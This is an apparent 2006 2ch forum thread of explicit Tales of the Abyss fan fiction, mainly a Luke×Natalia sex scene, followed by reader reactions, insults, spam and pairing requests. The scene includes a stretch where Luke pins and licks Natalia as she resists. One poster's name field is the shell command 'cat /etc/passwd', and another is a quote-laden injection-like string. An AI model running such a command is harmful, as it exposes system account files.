 腰の辺りから徐々に上方へ移動させ、胸の膨らみにまで手の平を這わせるとナタリアの身体が一瞬ぴくりと強張った。
 彼女の緊張を感じ取りながら、身体のラインに沿って上着に包まれた双丘の在り処を探る。胸の膨らみには揉みしだく指を押し戻そうとする弾力があった。
「はあっ……」
 外側から円を描くようにして胸を揉み上げるとナタリアの口から吐息がこぼれた。
 そのまま右腕は服の上から乳房をまさぐり続け、もう片方の手は裾口からナタリアの上着の中へ滑り込ませた。そして腰の辺りを直接に撫で上げる。
 侵入した左手は多少寄り道をしながら右手との合流を目指し、上着をたくし上げナタリアの白い肌を薄明かりの元へと露出させていく。
 肌の感触を手の平に感じながら、胸を包んでいた下着ごと衣服を捲るとナタリアの丸みを帯びた左右一対の果実が露わになった。その事実に、ルークは自らの呼吸が荒くなっていくことを自覚した。
 無防備になった膨らみを包み込むように触れる。瑞々しい双丘は掴むと手の平に吸い付くような感触が残った。
 隆起のつけ根から持ち上げ、水鞠のような膨らみを手の中で左右非対称に揉みしだく。ナタリアは自らの肌に延ばされたルークの腕に手を添えて双乳が形を変える度に吐息を漏らす。
 やがて乳房周辺を撫で回していた指先は膨らみの先端へと辿り着いた。わずかに自己主張した突起を指の腹で挟むようにして摩擦し、爪で弾いて苛め、押え潰して弄んだ。
 外部から刺激を与えられ充血して尖った乳首を摘むと、ナタリアが苦しげに呻いた。

590 名前:子作りテイルズ :2006/07/24(月) 21:34:52 ID:LaSPgb4o
「……ルーク、その、少し痛い……」
「ご、ごめん」
 言われて胸から手を離した。自分の鼓動が思いのほか強く脈打っているのがわかった。肩越しにナタリアの乱れた呼吸音が聴こえてくる。
 少し強引だったかと思い、ナタリアに大丈夫かと訊ねた。
「……ええ、大事ありませんわ」
 そう言いつつ彼女の腕は胸を覆い隠す位置にあった。接触を拒む場所に自分の腕があることに彼女は気づいていないのかもしれない。胸を覆う腕は痛みからの無意識的な拒絶に思えた。
 そのことを指摘するとナタリアに怒られそうだったので言わないことにして、逡巡の末そっと肩を抱き、彼女の首筋に口付けた。
 首の辺りへ幾つか接吻を落としていき、時に深く唇を触れさせ吸ってみせたりする。唾液を絡めて舐め、そのままうなじから肩近くまで舌を這わせるとくすぐったそうに彼女の体が震えた。
 手を使わず鼻で彼女の後ろ髪を掻き分け、襟首へと頬をすりよせるようにするとナタリアの身体の香りが強く鼻腔を刺激した。
 さらさらとした感触の金髪が顔の上を流れる。生え際まで分け入って、うなじから垂れる繊毛とも呼べるそれを口に含んで咀嚼してみた。柔らかい食感だった。
「お止めになって……む、むず痒い」
 くす、と笑みを漏らしナタリアが言った。その言葉に従わずくすぐり続けていると、彼女は身を捻って肩を抱いていたルークの手からするりと抜け出した。
 自らの背中を向けたままのナタリアが横顔だけで振り向いて言う。
「……上、脱ぎますわね」
「うん、わかった」
 そう答えてルークはたくし上げられていたナタリアの上着に手を掛けた。
「え? それくらいは自分で――あっ」
「……両手あげて」
 その言葉に対しナタリアは渋々両手をあげる。他人の手で服を脱がさせられるのは抵抗があるようだった。
 たくし上げていた上着を首から通して脱がせ、胸の膨らみに引っかかっていた下着も一緒に剥ぎ取っていく。布地の下から現れた白磁めいた肌は上気して色づいていた。
 脱ぎかけの上着が頭を抜けるところに差し掛かった時、ナタリアはちょうど目隠しされるような状態になった。

591 名前:子作りテイルズ :2006/07/24(月) 21:36:06 ID:LaSPgb4o
 悪くない眺めだった。
 胸を覆うものは何もなく、両手をあげているため腋は無防備になって晒け出されている。その格好は酷く無防備で、どこか悪戯心をそそるものがあった。ルークはそこで一度脱衣させる手を止めた。
「……どうかしましたの?」
「…………」
 上着をそのままに放置して乳房の側面へとそっと顔を近づけ、そこへ舌先を触れさせようと試みてみた。
 しかしナタリアが身動ぎしたため、舌先は目標地点から僅か横にずれ腋へと接地した。
「ルーク? ひゃっ――」
 腋に触れた瞬間に跳ねて避けられた。
 とてつもない動きだった。ナタリアは脱ぎかけの上着で目隠しされた格好のまま、あらゆるこのを考慮に入れない一心な逃げ方で後退さった。
「……ルーク? そ、そんなところに触れる必要などないでしょう?」
「……ちょっと汗臭い?」
「なっ――あっ、お、お止めになって!」
 逃れようともがくナタリアの身体を背後から半ば取り押さえるようにした。
 腕を掴んで上に覆いかぶさっているため、寝台の上に組み敷いて押し倒すような体勢になっていた。
 自分の下にいるナタリアと視線が合う。彼女は口をぱくぱくさせて何かを言おうとしているようだった。
 ルークはそれから特にどうするか考えていなかったが、とりあえず先程の反応が何なのか確かめるため腋へと舌を這わせてみた。かすかな塩味が舌を刺激する。
 そのままちろちろと腋の下を味わっていると身体の下で押さえつけているナタリアからの抵抗が強まった。構わず腕の付け根から胸の側面までを舐め回し口内全体を使って彼女の身体を味わった。
「うぅう……」
「汗臭い味がする」
「う、嘘を仰らないで! 先程ちゃんと身を清め――ゃあっ!」
 わざと水音を立てて吸ってみると、景気のいい反応を見せて身悶えした。その反応が面白かったのでしばらく同じことを繰り返してみた。
 しかし暴れている内にナタリアは拘束から抜けていたようで、不意にルークの背中が彼女の指によって強くつねり上げられた。
「いででっ!」
 そしてルークが痛みで怯んだ隙に素早くナタリアは寝台を転がり距離を取った。その際に脱ぎかけていた上着は脱げて身体を離れてしまったが、それを気にせず彼女はごろごろと転がった。

592 名前:子作りテイルズ :2006/07/24(月) 21:37:07 ID:LaSPgb4o
 ナタリアは周囲を警戒しつつぱっと起き上がり恨めしそうな視線をルークに向けた。
「そして目の端に汗を溜めながら言った」
「汗ではありません!」
 肩で息をしながら、彼女は律儀に声を上げて訂正した。
「悪い悪い」
「……全然悪いとお思いになっていなさそうですわね」
 ナタリアは腕で胸を隠し正面から睨んだ。
「ほんと悪かったって。緊張してて思わず」
「…………」
「もうしないから」
「……では傍へ寄らせて頂きますけれど、先程のようなことは絶対なさらないでくださいね」そう言って恐る恐るといった物腰でナタリアは一歩進み出た。「あと鼻では呼吸をしないこと。いいですね?」
「できるわけないだろ」
 寝台の上をナタリアが猫のように四つ足歩きでそろそろと近づいてくる。
 ルークからも歩み寄り、手が届いたところで抱き寄せて正面から寝台へ倒した。腕をナタリアの背中に回して覆いかぶさり、仰向けになった彼女の身体が寝台のシーツになるべくゆっくりと沈むようにした。
「……ん」
 お互いの額同士が触れるかどうかの距離で静止した。下にいるナタリアと目線が絡む。吐息が当たぅて前髪が揺れる。
「あ。今鼻で息をしましたわね」
「……っおい鼻を摘むな」
「まあ、ここが鼻でしたのね」
「どう見てもお前が掴んでるのは鼻だっつーの」
 鼻腔を挟むナタリアの指を振りほどき、喉元に顔を埋め先程首筋にしたように唇を落とした。彼女の白肌に舌先を付ける。徐々に身体を下へと辿り、彼女の鎖骨から胸元までを唾液で汚した。
 唾液に塗れ、双丘に挟まれた胸の中心が薄明かりを反射してらてらと光って見えた。
 ルークは向かって右側にある膨らみの曲線をなぞり舐め上った。頂にある薄桜色をした乳首に口付け、それを囲う縁取りに沿って舌を這わした。
「ふぁ……」
 ナタリアの乳頭を唇で啄ばみ、吸い上げて口内で転がした。円を描くように弄くり、尖った先端を甘噛みする。隠しようもなく屹立した突起を抓り上げて責めていく。

593 名前:子作りテイルズ :2006/07/24(月) 21:37:44 ID:LaSPgb4o
「ナタリアのここ、さっきより大きくなってきた……」
「……へ、変なこと仰らないで」
 ルークが口を離すと色づいた先端は天井を向いて判然とその存在を示していた。
 今度は左側の膨らみへと目標を移し、右胸にしたのと同じようにする。
 乳房への口唇愛撫を続けながら、ルークの右手は下肢へと伸ばされていた。腰からへその下辺りを撫ぜた手の平は太腿の内側を目指し、ナタリアの下半身を包んでいる布地の中に侵入した。
 脚線をなぞりナタリアの秘所を包んでいるショーツを探り当て、ショーツのきめ細かな手触りを感じながら、股下の中心地に指を滑らせた。
 薄布一枚越しで柔肉に触れた。やや湿ったそこを手の平で包み、軽く指を引っ掛けた。指の腹でショーツの濡れた箇所を上下に擦り、布地の上から指を食い込ませたりする。
「んんっ……」
 ルークは胸へ埋めていた顔を上げ、ナタリアを窺うように彼女へと視線を向けた。時折声を上げるナタリアの表情は前髪で隠れていて見えない。その中で彼女の唇がやけに色づいて艶かしく映った。
「ナタリア、こっち向いて……」
 その言葉に従順に応えナタリアは横へ俯けていた顔を上げた。
 向けられた顔と視線が合わさる。彼女の頬は僅かに紅潮して瞳は切なげに潤んでいた。それを視界に入れながら、預言に書いてあった通りに「可愛いよ」なんて言ってみたりしてみた。
「下も、脱ごうか……」
「……わかりましたわ」
「少し腰を上げて」
 ルークはナタリアの下肢を覆う肌着に両手をかけた。彼女が腰を浮かせた間に捲くり下ろすようにして脱がせる。果物の皮が剥かれるように、白い太腿が露出していく。
 足首から肌着を抜けさせて、脱がせたものは寝台の下へ放った。
 秘所を包んでいるショーツの中心にはじんわりと細長い卑猥な染みができていた。ナタリアの下腹部に一枚だけ残された薄布も脱がそうとルークは腕を伸ばす。
 ショーツの隅に指を添えてするすると下ろしていき、やがて布地が取り払われると、へその下から続く窪みに薄っすらと生え揃った茂みが現れた。それを透かして繊細な丘がぷくりと盛り上がっている。
 逆三角形の終わりから丘には溝が穿たれ、閉じられた大腿の間へと続いて陰影を形作っていた。

594 名前:子作りテイルズ :2006/07/24(月) 21:38:25 ID:LaSPgb4o
 ルークは下肢に手を添え、内股へと右手を走らせる。張りのある健康的な太腿を撫でながら繊毛に縁取られた裂け目に近づいていく。
 恥丘まで指を這わせ、生え揃った柔らかな毛先を手櫛ですきながら茂みを分け入った。太腿の谷間に秘所がその姿を半ば覗かせていた。
「ナタリア……脚、開いて」
 両腿が躊躇いを含み、そろそろと開かれていく。
 開脚された内側にルークは回り込み、ナタリアの両脚の根元に手を添えた。膝が大きく開かれると、それまで陰になって見えなかった部分が現れた。
 薄桃色の花弁は左右揃い閉じ、密やかに息づいていた。閉じた赤貝を指で押さえ左右に広げて中身を暴くと、普段外気に晒されていないナタリアの隠された部位が露わになった。
 秘所は僅かに濡れていて、粘性のある液体が淡い明かりを反射して膣口の在り処を指し示していた。
 その上部には尿道口、そして陰唇の上端の果てに包皮に包まれたクリトリスが佇んでいる。それら割れ目の内側はほのかに赤く潤んでいて、鼻で嗅ぐとそこから強い雌の匂いを感じた。
「んんっ……」
 間近にあった局部に吐息が当たり、ナタリアはくすぐったそうに身体をよじらせた。
 ルークはすぐ間近にある女性器に顔をうずめ軽く触れるだけの口付けを落とした。
 そのまま秘裂に沿って下から舐め上げ愛液を味わい、陰唇の上端に到達すると、その先にある包皮に包まれた陰核を啄ばんで口内に含んだ。
 陰核の感触を確かめながら舌先で剥いていく。やがて勃ち上った陰核から唇を離し、舌を花弁へと往復させ一心に愛撫を繰り返した。瑞々しい色合いのそこを縦横に舌で嬲る。
「っぁ……んっ……」
 視界の端で白い太腿が力なく震えた。ナタリアは秘裂に施される行為に反応して身じろぎし、こみ上げるものを堪えているのか時折押し殺した声を漏らした。
 ルークは埋めていた顔を上げ、濡れそぼった膣口を目指して柔肉に指を這わせた。
 秘裂の最奥を探り当てると人差し指と中指、それら二本を突き立て挿入する。指先がゆっくりと秘裂に沈んでいった。
「痛くないか、ナタリア?」
「……大丈夫ですわ」

595 名前:子作りテイルズ :2006/07/24(月) 21:39:00 ID:LaSPgb4o
 肉襞が指をきゅうきゅうと隙間なく包み込む。涎を垂らした蜜壷は抵抗なく二本の指を奥まで招き入れたが、膣壁の締め付けで時々指が外へ押し出されそうになった。
「ん……くっ……」
「……ナタリアのなか、すごくきつきつだ」
 ルークは秘洞の内部に押し入った指を縦に動かしてみせた。粘液で塗れた膣内を指先で掻き混ぜ、水音をたてながら秘所を泡立て指を出し入れした。
「んん……っ」
 膣内の奥まで指を突き立てると内部が切なげに痙攣しているのがわかった。それに呼応させるように指を出し入れする速度を徐々に高めていく。
 指先で掬い取った蜜を膣壁へと塗り込めるように動かす。
「くうっ……!」
 苦しげな呻き声が聴こえてきた。
 押し広げられた膣口は二本の指を咥え込み、激しく出し入れされる度、肉襞がうねって膣内に収まりきらなくなった蜜が溢れる。内壁の粘膜が波打って纏わりつく。
 やがて秘洞から指を引き抜くと濁った液体が垂下した。ふやけた指先から膣口へと粘液が糸を引いてシーツに落ちた。
「ふぁ……ぁあ……」
 ふいに秘所から指を引き抜かれ、ナタリアは脱力した様子でうな垂れて力ない声を漏らした。
「ナタリア、俺、もう……」
 名前を呼びかけて、強く脈打ち張り詰めた自身を暗に示す。布地越しに解るほどルークの怒張は強く勃ち上っていた。
「ええ……どうぞ、いらして……」
 ナタリアは乱れた呼吸で視線を彷徨わせ、肌着を脱ぎ捨てたルークの上半身を、両腕を開いて迎えた。
 促されるまま仰向けになっている彼女の身体へと覆い重なった。
 ルークは自身を包んでいる下穿きから張り詰めた逸物を取り出し、固い先端をナタリアの秘所へと添える。
 陰茎の先を濡れた縦筋へとなぞらせ、竿の腹を擦りつけてお互いの性器から滲み出る愛液を絡めて混ぜ合った。
 膣口に反り返った男根の先をあてがう。蕩けるような柔肉は添えられた亀頭を飲み込もうとひくひくと蠢いている。

596 名前:名無しさん@ピンキー :2006/07/24(月) 21:39:06 ID:6XPaQATV
































597 名前:子作りテイルズ :2006/07/24(月) 21:39:30 ID:LaSPgb4o
「……行くよ」
 開始の合図を告げる声に、こくりとナタリアが細い顎を上下に振って頷いた。
 腰を落として圧力を加えていき、先端で陰唇を割って挿入った。
「ぅ……ん……入って、くる……」
 肉襞からの圧迫感を押し拡げながら奥へ進み、窮屈な内側を抉って陰茎の根元まで捻じ込む。ルークは深く腰を前方へ埋め、膣内に怒張を突き立て奥まで貫いた。
「…………っ!」
 ぴくん、とナタリアの身体が僅かに震えて仰け反った。
「……全部、入ったよ」
「ええ……ルークのものが、なかに……」
 ナタリアの秘所が突き立てられた肉棒を根元まで咥え込んで締め付けている。繋ぎ目が溢れた愛液で泡立っていた。
「……動いても大丈夫?」
 問いかけに答えるように、そっと頬に手を添えらえた。力なく微笑んで頷いた彼女から伸ばされた手を掴んで繋いだ。
 緩やかな速度で腰の抽送を開始して、そのまま正常位で交わった。腰を引き戻し、弓を引き絞るようにしならせてから打ち付ける。
「っぁ……んんっ……」
 肉と肉のぶつかり合う乾いた音が響いた。
 幾度も侵入を繰り返し、合わせ目を抉る。蕩けるようなナタリアの柔肉に何度も自身を突き入れた。彼女はその度、熱の籠もった息を吐き、胸を激しく上下させる。
「んぅ……はあっ……」
 ナタリアは唇をきつく閉じ声を押し殺しているようだった。苦しげに眉根を寄せて頬を薄っすら紅潮させている。
 ルークが小刻みに腰を振ると、身体が跳ねて目の前にある白い乳房がたわわに揺れた。間隔を置かずに掻き混ぜられ、結合部から水音が足早に響き、吐息が彼女の口から細かく漏れる。
「んっ、んっ、んっ、んっ……」
 抽送された怒張を巻きついた肉壁が波打って受け止める。絡みついた粘膜が引き戻される肉棒を離すまいと締め付ける。

598 名前:子作りテイルズ :2006/07/24(月) 21:40:47 ID:LaSPgb4o
「……くぅ……ぁあ……!」
 求めるまま深く腰を埋めた。ナタリアを組み敷く形で腰を早めていく。奥底から湧き上がる欲求に意識が飲み込まれていき、徐々に深いところからこみ上げるような射精感がせり上がってくる。ナタリアの華奢な腰肉を掴んで激しく腰を打ち付けた。 
「……愛してますわ。……愛していますわ、ルーク」
 ナタリアは喘ぎが交じった声で、上言のように預言通り何度も愛していると繰り返し呟いた。
 自身の限界が近い中、ルークはその甘い声を訊きながら、ふと彼女が本当に自分を見てくれているのだろうかと気になった。
 本当にレプリカルークの名前を呼んでいるのかどうかと考えた。勿論これら一連のルークの思索活動は全部気になったフリ、考えているフリだ。
 事実がどうであったところでそれはどうでもよく何にも関係しない。
 それでもナタリアの瞳に映っているのは自分ではない誰かなのではないかと思うと精神がざわざわして落ち着かないような気がした。気がしたがそれも勿論気にしているフリだった。それにそんなものの判別はわかるはずがなかった。
 わからないので自分もナタリアを一番愛していると彼女の耳元で囁いてみた。そうすると自身を包んでいる膣内の締め付けがきゅぅと強くなって出し入れしたとき気持ちよかった。
 背筋がぞくぞくして頭の中が真っ白になった。何度も彼女の名前を呼んだ。
「んんっ、はぁっ……ルーク、ルーク……!」
 求めるように粘液を混ぜ合いながら徐々に絶頂へと昇り詰めていった。
 ルークは奥底から迸る感覚に身を委ね、ナタリアの膣内へと精を吐き出した。その最中虚脱感に苛まれた頭の端で、ただのフリでもいいから今は自分だけを見ていて欲しいと思ったがそれも当然思ったフリだった。

599 名前:子作りテイルズ :2006/07/24(月) 21:43:04 ID:LaSPgb4o

*       *        *


 そうして、彼ら二人はどうやら今夜、本件における最大目的を達成したようだった。
 ミッションコンプリートするための必要過程、つまり子作りプロセスのほとんどを終了させたようだった。
 ルークがしばらくその成功の余韻に浸っていると、やがて裸体をシーツにくるめさせたナタリアが口を開いた。改まって姿勢を正して言った。
「ルーク、わたくしの我が儘に最後までお付き合いくださってありがとう。本当にありがとう。これでわたくしは――」
 彼女が言い終える前に横槍を入れた。
「べ、別にお前のためじゃねーよ! 国の繁栄のためだよ、キムラスカランバルディア王国のためだよ!」
 しかしそれを訊くことなくナアリアは自分の言いたいことだけ言ってすやすや寝息をたて始めていた。
 そのマイペースさがどこまでもナタリアらしくておかしかったが、きまりの悪い思いをしたルークは邪気のない寝顔をぐっと睨んだ。
 ぐぐっと眉間に皺を寄せ半目で睨んだが空しくなってきたのでそれも十秒で止めた。
 そうして自分も寝台へ横になった。
 ケテルブルク豪華ホテルの寝台はふかふか柔らかくその感触はなかなかどうして悪くなく、しかしなぜだか少しも眠れそうになかった。
 眠れないので自分の隣で寝息をたてているナタリアを見ていた。
 その無防備な寝顔を眺めながら、もし何かの間違いや気の迷いでこの女と結婚してしまったときはちゃんとしっかり責任を持って一生大事にしようと意味もなく心に決めた――がそれも勿論心に決めたフリの悪い冗談であり、
 親が敷いた許婚の約束も外殻大地を降下させたら制度廃止することになりそうな預言も律儀に守る気は全然さらさらなく別に結婚するつもりもまったくなかったが、
 この後彼女が目を覚ましたらケテルブルクの寒い寒い白銀世界の中を二人大きめな厚手のコートを羽織り手を繋いで一緒に歩こうと、そんなことを一人思った。



600 名前:名無しさん@ピンキー :2006/07/24(月) 22:35:55 ID:jTcNoew5
不人気言うな

601 名前: 株価【---】 :2006/07/24(月) 23:47:43 ID:7mZeHzIS
つまんね
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602 名前: 株価【---】 :2006/07/24(月) 23:48:28 ID:7mZeHzIS
つまんね
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603 名前: 株価【---】 :2006/07/24(月) 23:48:58 ID:7mZeHzIS
つまんね
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604 名前: 株価【---】 :2006/07/24(月) 23:49:40 ID:7mZeHzIS
つまんね
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605 名前:名無しさん@ピンキー :2006/07/24(月) 23:58:20 ID:8vfpfhoj
ルクナタGJ!!

606 名前:名無しさん@ピンキー :2006/07/25(火) 00:15:15 ID:XqT2FenG
アビスネタは飽きたっつってんだろカス

607 名前:名無しさん@ピンキー :2006/07/25(火) 08:40:42 ID:dTME4MA4
グッジョぶrrrrrrるあ゙ァァァ!!!!
エロというか、普通にいい感じ。

608 名前:名無しさん@ピンキー :2006/07/25(火) 10:13:27 ID:mvqdOUet
GJ!
なっちゃん(* ´Д`)ハァハァ

609 名前:名無しさん@ピンキー :2006/07/25(火) 12:32:51 ID:wov0+jey
GJ!

610 名前:六神将 :2006/07/25(火) 18:42:44 ID:TTGfHPjD
ちょ、ごめんorz
ここしばらくパソ触れてなかったorz

611 名前:六神将 :2006/07/25(火) 18:56:37 ID:TTGfHPjD
「………今日は楽しかったか?」
「うんっ!」
「………アンタ来てただろ」
白々しく言うリグレットにシンクは突っ込んだ。

彼の思い、彼女の想い

遊園地から帰り、シンクは自分の部屋のベッドに倒れ込む。
顔を手で覆い、ため息をつき、シンクはごちゃごちゃとした考えを整理しようとする。
「アリ………エッタ………」
無意識のうちに呟いたその言葉に、シンクはぎくりとする。
「〜っ………くそっ!」
何故かこみ上げてきた怒りを抑えかね、シンクは荒々しく部屋のドアを開け、
「うわ!?何をするんですかシンク!」

ドアのすぐ外にいたディストにドアを思いっきりぶつけた。
「………悪かったよ」
「おやおや?シンクがすぐに謝るとは………アリエッタに影響されましたかね?」
「何でそこでアイツの名前が出てくる!?」
思わず怒鳴りつけたシンクにディストはにやりと笑み崩れ、爆弾を投下した。
「何故って………あなたがアリエッタの事が好きだからに決まっているじゃないですか」
「んなっ!?」
直撃。
真っ赤になったシンクに、ディストは続ける。
「あなたに贈り物があるんです」

612 名前:名無しさん@ピンキー :2006/07/25(火) 21:26:48 ID:aY38Qt4L
429の続きに期待

613 名前:名無しさん@ピンキー :2006/07/25(火) 22:11:59 ID:pgklcYQN
@アーチェ(×クレス、チェスター、クラース、ミント)
Aメルディ(×リッド、キール)
B19才ナナリー(×ジューダス、ロニ)
C15才ナナリー(×ロニ、カイル)
Dナタリア(×ルーク、ガイ、アッシュ、イオン)

どれがいい?ちなみに表記は反対だけど全員受けな。
ギャグかシリアスかもよろ。

614 名前:名無しさん@ピンキー :2006/07/25(火) 22:13:14 ID:pgklcYQN
書き忘れ、カップリングは()内のどれかです。
分かりにくかったんで補足。

615 名前:名無しさん@ピンキー :2006/07/25(火) 23:46:35 ID:mvqdOUet
メルディ×触手キボうはっぐはぐ馬鹿なっ!?

キルメルのほほん風味でおk


616 名前:名無しさん@ピンキー :2006/07/26(水) 00:20:08 ID:jfi1BWQA
アッシュとナタリアの、ちょっぴりギャグ混じりで

617 名前:名無しさん@ピンキー :2006/07/26(水) 00:22:44 ID:/Uqnm7AO
ナタリア×ガイ キボン。。。

この二人好きなんだけど少ないんだよなorz

618 名前:名無しさん@ピンキー :2006/07/26(水) 00:24:28 ID:/Uqnm7AO
書き忘れスマソ
ナタリア×ガイでギャグでお願いします。

619 名前:名無しさん@ピンキー :2006/07/26(水) 00:31:47 ID:Guaacv6m


620 名前:名無しさん@ピンキー :2006/07/26(水) 00:33:49 ID:Rugw/+9M
希少なジューダス×ナナリーでギャグを見てみたい・・・

621 名前:名無しさん@ピンキー :2006/07/26(水) 00:40:29 ID:P/G+sfne
同じくジューダス×ナナリーで
好きなんだけど、全然見ないし
ほんわかシリアスがいいです〜

622 名前:cat /etc/passwd | nobody :2006/07/26(水) 01:23:08 ID:Guaacv6m


623 名前:名無しさん@ピンキー :2006/07/26(水) 02:27:08 ID:5h17QPsP
>>611
wktk

624 名前:名無しさん@ピンキー :2006/07/26(水) 02:28:01 ID:5h17QPsP
ごめんorz

625 名前:名無しさん@ピンキー :2006/07/26(水) 19:56:03 ID:TymscIJB
ただのアンケートでSS書くわけじゃないよ、ってオチじゃないよね?
盛り上がったからそれでもいいけど

おれメルディならなんでもいい

626 名前:名無しさん@ピンキー :2006/07/27(木) 02:17:06 ID:bS8x3yIV
最近アーチェ見かけないから、クラース×アーチェでヨロ〜

627 名前:名無しさん@ピンキー :2006/07/27(木) 11:17:07 ID:1CQH3BCZ
リク出す暇があったら君が書け

628 名前:名無しさん@ピンキー :2006/07/27(木) 11:37:05 ID:1CQH3BCZ
>>627
お前が死ね

629 名前:名無しさん@ピンキー :2006/07/27(木) 11:49:07 ID:2dZRJGY4
誘い受けに期待するのは間違い
エロパロ板の常識

630 名前: 株価【---】 :2006/07/27(木) 14:50:41 ID:TbxaHQzK
>>627-628
どっか池
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631 名前:名無しさん@ピンキー :2006/07/27(木) 15:15:37 ID:TLUW+3SG
正直言って、アビス厨はこのスレから消えてほしい。
どっか別のスレでも立てて、そこで厨同士シコシコやってろよ。

632 名前:名無しさん@ピンキー :2006/07/27(木) 16:26:50 ID:/HDCtMHF
今のこのスレのどこをどうみたらアビス厨消えろみたいな気分になれるんだか。器用な奴だな

633 名前:六神将 :2006/07/27(木) 17:08:41 ID:UlqCgjzd
>>631
今のスレの空気は「アビス厨でも何でもいいよ。とりあえずあの荒らしどうにかしてくれ」じゃね?
つか最近のAのSSは俺のとルクナタだけだし。

さすがにA未プレイだときつくなってきましたよorz

634 名前:名無しさん@ピンキー :2006/07/27(木) 18:34:21 ID:E5h7FH9S
     /ハ/ノノ_
   /∠レ=レ=レヽ
  │〃リ' ´∀`) マターリ行こうぜ
  ノ,− i _う曰0  
  (.   ヽ´⊃~⊃, 


635 名前:名無しさん@ピンキー :2006/07/27(木) 20:23:09 ID:7jE1fm0O
メルディ関連が2人とジュダナナが2人だからとりあえずこのカプ書きます。
展開は分かれてしまったんで自分が書きやすいので書きます。

636 名前:名無しさん@ピンキー :2006/07/27(木) 20:34:39 ID:qNyuZ7oE
>>633
待てアンタ未プレイで六神将なんて名乗ってんのか?

637 名前:名無しさん@ピンキー :2006/07/27(木) 21:09:17 ID:qMAKLqqM
六神将とやらは同人者達が嫌う175というやつでFA?

正直言って自分もAはちょっとな…いい感じはしないな。
何しろA厨がこのスレを食い荒らして今に至ったわけで。
A物が投下されるとまたあいつ等が戻ってきてスレ荒らしに拍車を掛ける気がしてならんよ。

638 名前:名無しさん@ピンキー :2006/07/27(木) 22:07:56 ID:E5h7FH9S
     /ハ/ノノ_
   /∠レ=レ=レヽ せっかく元に戻りつつあるんだ
  │〃リ' ´∀`) マターリ行こうぜ
  ノ,− i _う曰0  
  (.   ヽ´⊃~⊃, 


639 名前:名無しさん@ピンキー :2006/07/28(金) 00:10:54 ID:jOpB/hf1
SS書かない奴が


640 名前:名無しさん@ピンキー :2006/07/28(金) 00:12:30 ID:jOpB/hf1
Aが嫌だの何だのケチつけるなや

641 名前:名無しさん@ピンキー :2006/07/28(金) 00:13:19 ID:jOpB/hf1
隔離されるのは文句垂れる奴なんだよ

642 名前:名無しさん@ピンキー :2006/07/28(金) 09:14:58 ID:KzwU0a/n
とりあえずさ、個人的感情は置いとこうぜ。
書き手のことを考えなくなったら前スレの二の舞だ。

>>635
WKTK!!!!

643 名前:名無しさん@ピンキー :2006/07/28(金) 12:43:30 ID:J9Q3OOY6
その書き手がA関連キャラスレで投下予告らしいことをしていた件。
A厨祭の最中にキャラスレから流れてきた厨がそう言うレスをしていた。
書き手が厨を呼び込む真似をしていたことも忘れないで欲しい。

644 名前:名無しさん@ピンキー :2006/07/28(金) 18:23:10 ID:O94nOU9T
おまいら、















しっとり逝こうぜ。

645 名前:名無しさん@ピンキー :2006/07/28(金) 18:35:23 ID:da5fGbUZ
えーと、何故か偶然凄い勢いでガイナタ持ってやってきました。
今投げ込んでいいもんかどうか悩みながらも、一発ツッこんできます。

646 名前:あて馬大あたり 1 :2006/07/28(金) 18:39:36 ID:da5fGbUZ
 運の悪さは折り紙付きといわれ続けた自分だが、果たしてこれは幸運か不運か。
 脳裏にはぐるぐるとそんな言葉が回転中だった。

「ガイ…目を閉じて居て下さいます?」
「あ、ああ…」
 白いワンピースの内側で息づく白い肌。染められた薄紅にうなじ。
 伏せ勝ちの眼差しは艶めいて美しく…
 しかし。世の男性諸子であれば極楽な風景も、自分にとってみては地獄の釜の
淵でのダンス。
 ドアの外には騎士達の足音、叫んで逃げ出したくとも、今此処で逃げ出せば恐
らく間違いなく、王女に不埒を働いた賊

として切り捨てられるのは自分である。
「ガイ」
 白い手が伸ばされ、上着の裾にかけられた。
 霞んでいく意識の中で、案外力強い腕に引っ張られ、スプリングの上に投げ出さ
れた所までは、正気が残っていた気が

する。

 後は。もう、目の眩むような混乱の中。
 そして、事の発端は僅か前にまき戻る。



「はぁっ?! お見合いを壊したい、ですか!?」
 間の抜けた声が出た口を、白い手にふさがれて、ガイことガイラルディア・ガラン
は目を白黒とさせる。
 此処はキムラスカはバチカル城。ナタリアの居室に友人として招かれたガイは、
神妙な顔をしたナタリアにとんでもない

告白をされていた。

 あの決戦から半年が過ぎ、世界には2人の英雄と引き換えた平和が戻りつつあ
った。
 しかし、それと引き換えにしたものは大きい。
 ナタリアの婚約者であった「ルーク」もその失われた者の一人である。
「いや、ずっと…アイツを待っていたいって言うのも判るけど、けどなぁ」
 ナタリアの表情が曇る。彼女はキムラスカの時期王位継承者だった。王族の血
を引かない彼女は、遠からず血縁の若

者から未来の夫を決めなくては為らない。
 王女である彼女にその覚悟が無いとは思わなかったが、買いかぶり過ぎだった
のだろうか。
 内心で僅かに穿った意見が顔を出した直後である。
 彼女の半ば実力行使な口付けに言葉の全てを奪われ、寝台へと引きずり込ま
れたのは。

647 名前:kak.hta';ken=wd+'START :2006/07/28(金) 18:40:02 ID:jOpB/hf1
駄目ー



648 名前:あて馬大あたり 2 :2006/07/28(金) 18:41:50 ID:da5fGbUZ
 白い手が上着を剥ぎ取り、手際よくズボンを「引き裂いて」行く。
 ああラルゴ、あんたの娘は力強く逞しく育ってるよ。あんたに喰らった一撃は自
分が乙女になった見たいに重たかったけど、本物の乙女にそいつを喰らうなんて
俺の人生何処まで女に恵まれない?
 いやいや恵まれすぎてるのか!?
 ああ、ナタリアそんなトコ、大胆すぎるぜおい待ってくれ、待て待てそいつは流石
にどうよ、不味い不味い、不味いって…
「ギャ……っ! 〜〜っ!」
「ガイ、少し静かにして下さらない? 手元が狂いますわ」
 ズボンを引き抜き下着を裂いて、力任せに事を運ぼうしていた彼女に、小声で鋭
く静止され、思わずビクリとベッドで体が跳ねた。
 殺される。しかし、此処で引いては色々なものが終わってしまう。
「な…タリア。判った、逃げないから…手、緩めて。大丈夫だから」
 握りつぶされる恐怖をかみ殺しながら、震えるまだ自由な右手で背筋を撫でる。
彼女が泣くといつもしていたように、スカートの裾を持ち上げ、唇に触れさせて見る
と、驚いたように悲鳴を上げて馬乗り
になっていた体が寝台の上へと退いた。
「一体どうしたのか。質問しても答えては貰えないんだね」
 此処までの暴挙に及ぶからには理由があるだろう。しかし、何も言わないだま
し討ちにまでするという事は、答えはあらかじめ予測できた。
 コクンと頷き返されて、溜息が零れる。
 一体自分は何処までお人よしなんだと、ガイラルディアが脳裏で呟いた。しかし、
頬を染めて俯いている彼女は、ガイラルディアではなくガイ・セシルの幼馴染だ。
「今度は君が、目をつぶってくれる?」
 もう一度首が立てに揺れ、瞼が下りる。視界に晒される圧迫感が引いて、脂汗
